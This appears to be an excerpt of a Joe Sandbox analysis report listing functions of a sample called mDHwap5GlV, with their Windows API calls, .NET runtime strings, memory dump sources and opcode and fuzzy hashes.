_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00BD19EA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00BD19F5
HeapFree.KERNEL32(00000000,?,?,?,00000000,00000003,00000001), ref: 00BD1A35

Part of subcall function 00A366C0: __stdio_common_vsnprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,00000000,?,?,00BD19CD,000000FF,?,?,?,?,00000003), ref: 00A366DD

Part of subcall function 00977340: strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,00000003,00000000,89ECF510), ref: 009773C6

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: _errno$FreeHeap__stdio_common_vsnprintf_sstrcpy_s
String ID:
API String ID: 1421160801-0
Opcode ID: 6d831ed7cbf1f541cf7bce67d43d0adf72f5f72b91a8c6f57157f0fd9882d355
Instruction ID: 86e012ac2d3690ea4dcbfe5528918487af3acb18c37a6073b2d0ad8d035d9a51
Opcode Fuzzy Hash: 6d831ed7cbf1f541cf7bce67d43d0adf72f5f72b91a8c6f57157f0fd9882d355
Instruction Fuzzy Hash: 96411471600600AFCB289F69DC95BAAF7F9EB45720F00469EF426A73E0EB355904CB20

Function 009B1090 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74threadsynchronizationCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00040000,Function_00050EF0,00000000,00010000,?), ref: 009B10E6
SetThreadDescription.KERNELBASE ref: 009B1102
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 009B1126
CloseHandle.KERNEL32(00000000), ref: 009B113C

Strings

.NET Stack overflow create dump, xrefs: 009B10F4

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Thread$CloseCreateDescriptionHandleObjectSingleWait
String ID: .NET Stack overflow create dump
API String ID: 3559772556-3933522274
Opcode ID: 9a0b915a6b0825fd71633b581d7f457733fa6e61cda6c61fa7b0c66ac4a389f7
Instruction ID: f27a95b243bcb771e7635f0bcde21c30ec42b1e1cc0e4e892274ca265a433978
Opcode Fuzzy Hash: 9a0b915a6b0825fd71633b581d7f457733fa6e61cda6c61fa7b0c66ac4a389f7
Instruction Fuzzy Hash: DB21C272A04218AFC711DF6CDD05BABB7BDEB85B20F10032AED24A33D0DB7599008A90

Function 09ADABB0 Relevance: 8.0, APIs: 6, Instructions: 462COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5), ref: 09ADAC45
GetStdHandle.KERNEL32(000000F5), ref: 09ADAE0E
GetStdHandle.KERNEL32(000000F5), ref: 09ADAE59
GetStdHandle.KERNEL32(000000F5), ref: 09ADAFEE
GetStdHandle.KERNEL32(000000F5), ref: 09ADB042
GetStdHandle.KERNEL32(000000F5), ref: 09ADB065

Memory Dump Source

Source File: 00000000.00000002.2583359508.0000000009AD1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09AD0000, based on PE: true

Associated: 00000000.00000002.2583342989.0000000009AD0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583382517.0000000009AF2000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583398162.0000000009AF3000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583414187.0000000009AF4000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ad0000_mDHwap5GlV.jbxd

Similarity

API ID: Handle
String ID:
API String ID: 2519475695-0
Opcode ID: 12ad5aab166723387f3f4208fc09cc76dcba494c05f8dc948ebf8dfc16f34a71
Instruction ID: 18b36d2ffc3f5b9fc6198404361b29f48c56cd1a2f851a3805be68eee66580a8
Opcode Fuzzy Hash: 12ad5aab166723387f3f4208fc09cc76dcba494c05f8dc948ebf8dfc16f34a71
Instruction Fuzzy Hash: EC022974A02155CFCB14DFB4E4A86ADBBB6FF88712B118229EC26D3354DB349846CB52

Function 00B58A00 Relevance: 7.7, APIs: 5, Instructions: 235COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,89ECF510,?,?,00000001), ref: 00B58A51
InitializeCriticalSection.KERNEL32(?), ref: 00B58AB3
LeaveCriticalSection.KERNEL32(?), ref: 00B58CFB
DeleteCriticalSection.KERNEL32(?,?), ref: 00B58D87
DeleteCriticalSection.KERNEL32(?,?), ref: 00B58DD9

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: CriticalSection$DeleteInitialize$Leave
String ID:
API String ID: 799923742-0
Opcode ID: 5a8b3b8b932c52c12922d1362d23679a720e7fab9aef4f9b06f3b646675c535c
Instruction ID: 98c74d3455a6b64133fe7a070651a8021dcb7898fe9ed5179d4e748b7cc7284c
Opcode Fuzzy Hash: 5a8b3b8b932c52c12922d1362d23679a720e7fab9aef4f9b06f3b646675c535c
Instruction Fuzzy Hash: 91B149B0901258CFDB20DF24C984B9ABBF4EF44309F1441DDD949AB292DB75AE88CF55

Function 09F217F0 Relevance: 7.6, Strings: 6, Instructions: 127COMMON

Download Yara Rule

Strings

HTTP/1.1, xrefs: 09F2195B
HTTP/1.0, xrefs: 09F21918
HTTP/1.1, xrefs: 09F218A2
http://, xrefs: 09F218DD
HTTP/1.0, xrefs: 09F21867
Content-Length: 0, xrefs: 09F21824

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID: HTTP/1.0$ HTTP/1.1$Content-Length: 0$HTTP/1.0$HTTP/1.1$http://
API String ID: 0-2996960065
Opcode ID: 0358ee22b33062c21d542f24293dc1c2497a583db5ed75dd8c344a975cb8dded
Instruction ID: 0a01391def458817f58e58163524354a1f5382bf3ad40348a544306878abb445
Opcode Fuzzy Hash: 0358ee22b33062c21d542f24293dc1c2497a583db5ed75dd8c344a975cb8dded
Instruction Fuzzy Hash: BD51D876D0464A8FCF04DF94E5595DEBBB5FF58301F20812AE80ABB654DB702A46CF50

Function 00998900 Relevance: 7.6, APIs: 6, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,89ECF510,?), ref: 00998955
HeapFree.KERNEL32(00000000,?,89ECF510,?), ref: 00998982
HeapFree.KERNEL32(00000000,?,89ECF510,?), ref: 009989AF
HeapFree.KERNEL32(00000000,?,89ECF510,?), ref: 009989D9
HeapFree.KERNEL32(00000000,?,89ECF510,?), ref: 00998A03
HeapFree.KERNEL32(00000000,?,89ECF510,?), ref: 00998A2D

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 6655d38e92b2a4c47943823e9005267294fd3fcaa73c97e8731555535c9c187a
Instruction ID: 02126fc22f46fdf7a3d960cc2e1f2739150c5a3c5d2f5dea763defc1620e543a
Opcode Fuzzy Hash: 6655d38e92b2a4c47943823e9005267294fd3fcaa73c97e8731555535c9c187a
Instruction Fuzzy Hash: F941A430905348DEEB11CF69DD48B6ABBF8BB06714F18C09DE849E72A1DB749E08D751

Function 00BD8B10 Relevance: 7.6, APIs: 5, Instructions: 100processmemoryCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000E,89ECF510,00000001,?,?), ref: 00BD8B8C
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000001,?,00000000,00000000,?,?), ref: 00BD8BDC
GetLastError.KERNEL32 ref: 00BD8BE4
HeapFree.KERNEL32(00000000,00000000), ref: 00BD8C01
SetLastError.KERNEL32(00000000), ref: 00BD8C12

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: ErrorLast$CreateFreeHeapProcess
String ID:
API String ID: 503317581-0
Opcode ID: 8d86f612264debc21c39b859e258aa90002c4cf2825a5e50f65628f4b0cd2e30
Instruction ID: f51c4bd649aceec1eb41fc626c7d0ba7cec4ce681fb9f5db0217c3db80a65e36
Opcode Fuzzy Hash: 8d86f612264debc21c39b859e258aa90002c4cf2825a5e50f65628f4b0cd2e30
Instruction Fuzzy Hash: B6318076A00305AFDB10DFA9DD45BAEBBF4EB48710F10426AF919E73D0DB759A008A90

Function 00BC7140 Relevance: 7.6, APIs: 5, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC6B90: wcscat_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000040,00F33610), ref: 00BC6C67
Part of subcall function 00BC6B90: wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000040,COMPlus_), ref: 00BC6D2E
Part of subcall function 00BC6B90: wcscat_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000040,00F33610), ref: 00BC6D41

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(89ECF510,80131506,?), ref: 00BC71AE
wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,?), ref: 00BC71C2
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00BC71CE
HeapFree.KERNEL32(00000000,00000000), ref: 00BC71F2
HeapFree.KERNEL32(00000000,00000000,89ECF510,80131506,?), ref: 00BC722F

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHeap_errnowcscat_s$wcscpy_swcstoul
String ID:
API String ID: 2826331799-0
Opcode ID: f9e07a460988c4106b7ccc11887ab5641156d90ab7632167aa2b59e8cda63258
Instruction ID: 9bd7d1148e6b63137cc3738ce2090923b7d2f3eafec05cfdfec2229de972a213
Opcode Fuzzy Hash: f9e07a460988c4106b7ccc11887ab5641156d90ab7632167aa2b59e8cda63258
Instruction Fuzzy Hash: 41316B71E442199FCB118FA9DD44BAEBBF4FB45B10F1042AAE818A7390D7765D01CF90

Function 00BFE880 Relevance: 7.5, APIs: 5, Instructions: 32pipeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,00000000,00C844AF,00000014,?), ref: 00BFE890
DisconnectNamedPipe.KERNEL32(?), ref: 00BFE89F
CloseHandle.KERNEL32(?), ref: 00BFE8A8
CloseHandle.KERNEL32(?,00000000,00C844AF,00000014,?), ref: 00BFE8BE
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00C844AF,00000014,?), ref: 00BFE8EC

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: CloseHandle$BuffersDisconnectFileFlushNamedPipefree
String ID:
API String ID: 4191446590-0
Opcode ID: c9d30bc5783ede2dd9f8a0c1eedc75aa0eda844513114e17996f907f1e1c0ad0
Instruction ID: f3a43ab4cf6fcd561c6ac49eae250c71b58eb0425b67ee84760c1c2c9298b436
Opcode Fuzzy Hash: c9d30bc5783ede2dd9f8a0c1eedc75aa0eda844513114e17996f907f1e1c0ad0
Instruction Fuzzy Hash: 5A01E470401B10CFD2305F29D80C726BAF9AF01725F104B18E4BAA6AF1D775E94D8B90

Function 00A66D90 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 334memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 00A66FC9
__aulldiv.LIBCMT ref: 00A67106

Strings

AMP Budget: pressure=%I64u ? budget=%I64u (total_added=%I64u, total_removed=%I64u, mng_heap=%I64u) pos=%d, xrefs: 00A67221
AMP Add: %I64u => added=%I64u total_added=%I64u total_removed=%I64u, xrefs: 00A66ECD

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHeap__aulldiv
String ID: AMP Add: %I64u => added=%I64u total_added=%I64u total_removed=%I64u$AMP Budget: pressure=%I64u ? budget=%I64u (total_added=%I64u, total_removed=%I64u, mng_heap=%I64u) pos=%d
API String ID: 445004715-3152505673
Opcode ID: a045e5672dfa93bb88d138b7c155b323dd476e8eb26a4b9c094bce65bf915d12
Instruction ID: 77b4a1260421feac8b3a147a476cca254dd0334c05158a3272968e996c89c5bf
Opcode Fuzzy Hash: a045e5672dfa93bb88d138b7c155b323dd476e8eb26a4b9c094bce65bf915d12
Instruction Fuzzy Hash: A7D177756083009FD714CF28D995B5EB7F5BB88358F048A2EF899973A0DB71E904DB82

Function 00BD9770 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?,00000000), ref: 00BD97E6
GetLastError.KERNEL32 ref: 00BD9814
SetLastError.KERNEL32(00000000,00000000), ref: 00BD991E

Strings

COMPlus_, xrefs: 00BD9784

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariable
String ID: COMPlus_
API String ID: 2691138088-665472478
Opcode ID: 764fbf797d2820714c48de34147208a3fe61c8ebff13a2a30cc00920fe48f89b
Instruction ID: 66c017bc210363c9e8a4ff25aeabf3d13ed7987d38ecd764b673bc1a9cf3e623
Opcode Fuzzy Hash: 764fbf797d2820714c48de34147208a3fe61c8ebff13a2a30cc00920fe48f89b
Instruction Fuzzy Hash: 012195B1D00219AFDB00DFA9D895BBFBBF8EB48714F00026AE415A3340EB755A048BE1

Function 009B0620 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD8CD0: LoadLibraryExW.KERNEL32(?,00000000,?,?,?,00000000,FaultRep.dll,89ECF510,00000001,?,?), ref: 00BD8E21
Part of subcall function 00BD8CD0: GetLastError.KERNEL32 ref: 00BD8E2F
Part of subcall function 00BD8CD0: SetLastError.KERNEL32(00000000), ref: 00BD8F61

GetProcAddress.KERNEL32(00000000,ReportFault), ref: 009B0647
FreeLibrary.KERNEL32(00000000,?,009B0794), ref: 009B0665

Strings

ReportFault, xrefs: 009B0641
FaultRep.dll, xrefs: 009B062B

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: ErrorLastLibrary$AddressFreeLoadProc
String ID: FaultRep.dll$ReportFault
API String ID: 1529210728-3658453154
Opcode ID: 095dcca512e58fd000601141c6c39e984114e0ca4ecef276cad19d0cd45af78a
Instruction ID: 5f9dd9915f9c1539b3bda8619425f991c1ac302a0d674cd02be7bd90238fba85
Opcode Fuzzy Hash: 095dcca512e58fd000601141c6c39e984114e0ca4ecef276cad19d0cd45af78a
Instruction Fuzzy Hash: D701F232701214AFCB205B6AED85BAEB7DDDBC9621F04017AEA0DE3311CEB18D0446D1

Function 00BD1D10 Relevance: 6.2, APIs: 4, Instructions: 231windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BCFF00: HeapFree.KERNEL32(00000000,00000002,?,?), ref: 00BD0018

FormatMessageW.KERNEL32(00000002,?,89ECF510,00000000,?,00000000,00FCDFAC,-000000FF,00000004,00000000,89ECF510,?,00A251A5,?,000000FF), ref: 00BD1E5D
FormatMessageW.KERNEL32(00000002,?,89ECF510,00000000,00000000,00000000,00FCDFAC,89ECF510,?,00A251A5,?,000000FF,?,00BC5A41,000010FF,00000000), ref: 00BD1EEA
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00000000,-00000002,00000004,00000000,?,00A251A5,?,000000FF,?,00BC5A41,000010FF,00000000), ref: 00BD1F6E
LocalFree.KERNEL32(00000000,?,00A251A5,?,000000FF,?,00BC5A41,000010FF,00000000), ref: 00BD1F95

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FormatFreeMessage$HeapLocalwcscpy_s
String ID:
API String ID: 2823936367-0
Opcode ID: 12af2b2ad772becb7a1dccfbe81f5a070307a314344d29e522f97964c93390a6
Instruction ID: ed4e58cb1e158e49e0f0669bcaf80b05027c39e6bfbe76b5688f187997780adc
Opcode Fuzzy Hash: 12af2b2ad772becb7a1dccfbe81f5a070307a314344d29e522f97964c93390a6
Instruction Fuzzy Hash: 79911875E016189FDB14DF98C885BAEB7F5FF48324F0485AAE819AB380D774AD05CB84

